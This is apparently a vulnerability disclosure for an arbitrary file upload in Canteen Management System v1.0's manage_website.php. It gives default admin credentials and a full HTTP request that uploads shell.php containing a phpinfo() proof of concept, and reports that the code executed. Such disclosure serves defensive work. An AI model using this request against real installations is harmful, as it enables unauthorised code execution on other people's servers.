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Canteen Management System v1.0 by mayuri_k has arbitrary code execution (RCE)

BUG_Author: QiaoRui feng

vendors: https://www.sourcecodester.com/php/15688/canteen-management-system-project-source-code-php.html

The program is built using the xmapp-php8.1 version

Login account: mayuri.infospace@gmail.com/rootadmin (Super Admin account)

Vulnerability url: ip/youthappam/manage_website.php

Loophole location: Canteen Management System's manage_website.php file exists arbitrary file upload (RCE)

Request package for file upload:

POST /youthappam/manage_website.php HTTP/1.1
Host: 192.168.1.88
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.1.88/youthappam/manage_website.php
Cookie: PHPSESSID=lf9hph2449vgrcadcct2jgd8ne
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------13868104343107
Content-Length: 1811

-----------------------------13868104343107
Content-Disposition: form-data; name="title"

Admin Panel by 
-----------------------------13868104343107
Content-Disposition: form-data; name="footer"

Admin Panel� 
-----------------------------13868104343107
Content-Disposition: form-data; name="short_title"

9090908080
-----------------------------13868104343107
Content-Disposition: form-data; name="currency_code"

India
-----------------------------13868104343107
Content-Disposition: form-data; name="currency_symbol"

�
-----------------------------13868104343107
Content-Disposition: form-data; name="old_website_image"

shell.php
-----------------------------13868104343107
Content-Disposition: form-data; name="website_image"; filename="shell.php"
Content-Type: application/octet-stream

<?php phpinfo(); ?>
-----------------------------13868104343107
Content-Disposition: form-data; name="old_invoice_image"

logo.jpg
-----------------------------13868104343107
Content-Disposition: form-data; name="invoice_image"; filename=""
Content-Type: application/octet-stream


-----------------------------13868104343107
Content-Disposition: form-data; name="old_login_image"

logo.png
-----------------------------13868104343107
Content-Disposition: form-data; name="login_image"; filename=""
Content-Type: application/octet-stream


-----------------------------13868104343107
Content-Disposition: form-data; name="old_back_login_image"

logo.jpg
-----------------------------13868104343107
Content-Disposition: form-data; name="back_login_image"; filename=""
Content-Type: application/octet-stream


-----------------------------13868104343107
Content-Disposition: form-data; name="btn_web"


-----------------------------13868104343107--

The files will be uploaded to this directory \youthappam\assets\uploadImage\Logo\

image

We visited the directory of the file in the browser and found that the code had been executed

image